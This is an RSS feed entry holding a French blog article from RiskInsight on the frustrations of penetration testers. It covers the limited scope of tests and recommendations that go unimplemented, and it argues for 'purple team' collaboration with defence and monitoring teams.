		<pubDate>Mon, 23 Mar 2015 13:41:45 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[pentesteur]]></category>
		<category><![CDATA[test d'intrusion]]></category>
		<category><![CDATA[vulnérabilités]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15499</guid>

					<description><![CDATA[<p>La sécurité informatique a fait du chemin ces dernières années. Désormais, toute entreprise de taille respectable dispose de sa politique de sécurité des systèmes d’information. Des sessions de sensibilisation des utilisateurs à la sécurité sont réalisées. Une gouvernance sécurité s’est...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2015/03/le-fardeau-du-pentesteur/">Le fardeau du pentesteur</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div style="margin: 0cm 0cm 10.0pt 0cm;">
<div class="visually-hidden" style="text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="http://3.bp.blogspot.com/-NjLVhBfmbGA/VRBVoMyJu8I/AAAAAAAAAAs/8gCWgLP6Xf4/s1600/%C2%A9%2BAndrea%2BDanti%2B-%2BFotolia.com.jpg"><img loading="lazy" decoding="async" src="http://3.bp.blogspot.com/-NjLVhBfmbGA/VRBVoMyJu8I/AAAAAAAAAAs/8gCWgLP6Xf4/s1600/%C2%A9%2BAndrea%2BDanti%2B-%2BFotolia.com.jpg" width="320" height="240" border="0" /></a></div>
<p style="text-align: left;"><i><span style="color: #666666;"><span style="font-family: inherit;">La sécurité informatique a fait du chemin ces dernières années. Désormais, toute entreprise de taille respectable dispose de sa politique de sécurité des systèmes d’information. Des sessions de sensibilisation des utilisateurs à la sécurité sont réalisées. Une gouvernance sécurité s’est même mise en place : le RSSI pilote, définit des KPI, analyse ses tableaux de bords SSI. Mais la technique n’est pas non plus oubliée ; on sait désormais que rien ne vaut un test d’intrusion pour vérifier, en imitant les méchants hackers, le niveau de sécurité d’une application ou d’un SI. Et ils vécurent heureux et ne subirent aucune attaque ? Pas si sûr&#8230;</span></span></i></p>
</div>
<div style="margin: 0cm 0cm 10.0pt 0cm;">
<h2>Le test d’intrusion n’est pas une science exacte</h2>
</div>
<div>
<div class="MsoNormal"><span style="font-family: inherit;">Non, malheureusement, le test d’intrusion n’est pas une science exacte. C’est une démarche qui relève plus de la pratique que de la théorie. Et c’est tant mieux. Pourquoi ? Le test d’intrusion n’est pas un audit. L’objectif du test d’intrusion est d’avoir une vision réaliste, “terrain”, du niveau de sécurité d’une application, d’un environnement ou d’un système. Le pentesteur dispose alors d’informations limitées sur sa cible, et doit faire appel à ses connaissances et compétences pour essayer de comprendre les rouages de son fonctionnement, afin d’identifier les éventuelles vulnérabilités. C’est en cela qu’un test d’intrusion automatique est un non-sens ! L’automatisation ne permet pas cette compréhension fine du fonctionnement de la cible, et se contente de dérouler des scénarii de tests prédéfinis.</span></div>
<div class="MsoNormal"></div>
<div class="MsoNormal"><span style="font-family: inherit;">Par ailleurs, même si le pentesteur vise l’exhaustivité dans ses tests, les conditions de réalisation jouent souvent contre lui ! Le test a forcément une durée limitée, qui ne permet d’explorer qu’un nombre limité d’options. De plus, l’environnement sur lequel se déroulent les tests est rarement identique à 100% à l’environnement de production, que ce soit par des différences de configuration, des fonctionnalités non-disponibles, ou des comptes utilisateurs.</span></div>
<div class="MsoNormal"><b style="color: #00477f;"></b><br />
<b style="color: #00477f;"><span style="font-family: inherit;">Une première frustration pour le pentesteur : savoir que son travail, même dévoué, n’est jamais totalement complet.</span></b></div>
<h2>Des tests d’intrusion souvent mal exploités</h2>
</div>
<div><span style="font-family: inherit;">Les tests d’intrusion sont de plus en plus fréquemment gérés par “campagne”, mission d’une durée plus longue et qui regroupe plusieurs audits, réalisés souvent par le même prestataire. On peut ainsi assurer une certaine homogénéité dans les audits, profiter d’un contexte client mieux connu, et proposer des recommandations plus adaptées.</span><span style="font-family: inherit;"><br />
</span><br />
<span style="font-family: inherit;">Malheureusement, une fois cette information obtenue, il convient de traiter les risques (ou de les accepter, pourquoi pas&#8230;). Force est de constater que cette étape n’est pas la plus maîtrisée, dans la plupart des cas. Les campagnes d’audit menées de manière récurrente sur des périmètres comparables font souvent apparaître des rapports d’audit grandement similaires, voir identiques.</span><span style="font-family: inherit;"><br />
</span><br />
<span style="font-family: inherit;">Pourquoi cette situation ? Malheureusement, si les budgets SSI permettent les audits, ils sont rarement dimensionnés pour absorber le coût de la mise en œuvre des recommandations. De plus, les équipes projets sont bien trop souvent réfractaires aux changements, d’autant plus qu’ils sont à appliquer globalement (problématiques de contrôle d’accès, de filtrage des entrées,…).</span><br />
<span class="Miseenvaleur"><span style="font-family: inherit;"><br />
</span></span></p>
<div class="MsoNormal"><span class="Miseenvaleur"><span style="font-family: inherit;">Par ailleurs, au-delà des querelles sur la réelle nécessité d’implémenter tel ou tel mécanisme de sécurité (d’autant plus vigoureuse que l’application est “interne”), c’est très souvent l’implémentation des mécanismes de sécurité qui fait défaut. Les risques sont identifiés, des mesures de protection identifiées et validées, et pourtant, le jour du test d’intrusion, les illusions volent en éclat.</span></span></div>
</div>
<div></div>
<div></div>
<div></div>
<div>
<p>&nbsp;</p>
<div class="MsoNormal"><span class="Miseenvaleur"><span style="font-family: inherit;"><b style="font-family: inherit;"><span style="color: #00477f;"><span style="font-family: inherit;">C’est bien là le regret du pentesteur : découvrir que son travail n’a servi à rien; qu’un an plus tard, les vulnérabilités sont toujours présentes et que d’autres sont même venues s’ajouter.</span></span></b></span></span></div>
</div>
<div>
<h2></h2>
<h2>Quelles conclusions pour la réalisation de tests<br />
d’intrusion ?</h2>
</div>
<div><span style="font-family: inherit;">Faut-il stopper la réalisation de tests d’intrusion ? Non, sans doute pas. En revanche, il convient peut-être de modifier la manière dont on utilise ces ressources. </span><span class="Miseenvaleur"><span style="font-family: inherit;"><br />
</span></span></p>
<div class="MsoNormal"><span class="Miseenvaleur"><span style="font-family: inherit;">D’abord, il faut savoir choisir ses cibles : inutile de tester le même périmètre que l’an dernier tant que l’on n’a pas obtenu la confirmation que les recommandations existantes ont été appliquées !</span></span></div>
<div></div>
<div class="MsoNormal"><span class="Miseenvaleur"><span style="font-family: inherit;">Ensuite, il faut tenter de traiter le problème à la racine : il est inefficace d’empiler les recommandations sur les failles XSS tant que les développeurs ne savent pas correctement traiter les entrées utilisateurs ! Et pour cela, le pentesteur peut apporter plus qu’une liste de vulnérabilités à la Prévert. Il doit s’assurer de l’adhésion des équipes techniques aux recommandations, ainsi que de leur implémentation technique. Pour cela, la réalisation d’ateliers avec les équipes techniques, visant à identifier dans le détail l’implémentation des recommandations, est un vrai plus ! En </span></span><span class="Miseenvaleur"><span style="font-family: inherit;">complément de cet accompagnement sur la mise en œuvre de moyens de protection, les résultats du test d’intrusion doivent également permettre la fiabilisation des mécanismes de supervision sécurité. Pour cela, un travail main dans la main avec les équipes de supervision est nécessaire, ainsi qu’un bilan à froid des actions qui ont été menées, celles qui ont été détectées et celles ne l’ayant pas été. On initie ainsi un cercle vertueux d’amélioration de la détection au cours du temps, concentré sur des éléments « terrain ».</span></span></div>
<div></div>
<div class="MsoNormal"><span class="Miseenvaleur"><span style="font-family: inherit;">Cette collaboration plus étroite entre les équipes de sécurité et les pentesteurs est sans doute la clé pour un meilleur ROI sur les tests d’intrusion. On trouve des références à cette approche sous le nom de “purple team”, une référence aux notions de “blue team” (défense) et de “red team” (attaque) utilisée dans le domaine militaire.</span></span></div>
<div></div>
</div>
<div></div>
<div></div>
<div>
<p>&nbsp;</p>
<div><b style="color: #00477f; font-family: inherit;">Le salut du pentesteur pourrait donc résider dans </b><b style="color: #00477f; font-family: inherit;">cette approche : offrir plus qu’un rapport et des slides, et avoir une démarche </b><b style="color: #00477f; font-family: inherit;">plus intégrée pour, enfin, améliorer la sécurité.</b></div>
</div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2015/03/le-fardeau-du-pentesteur/">Le fardeau du pentesteur</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
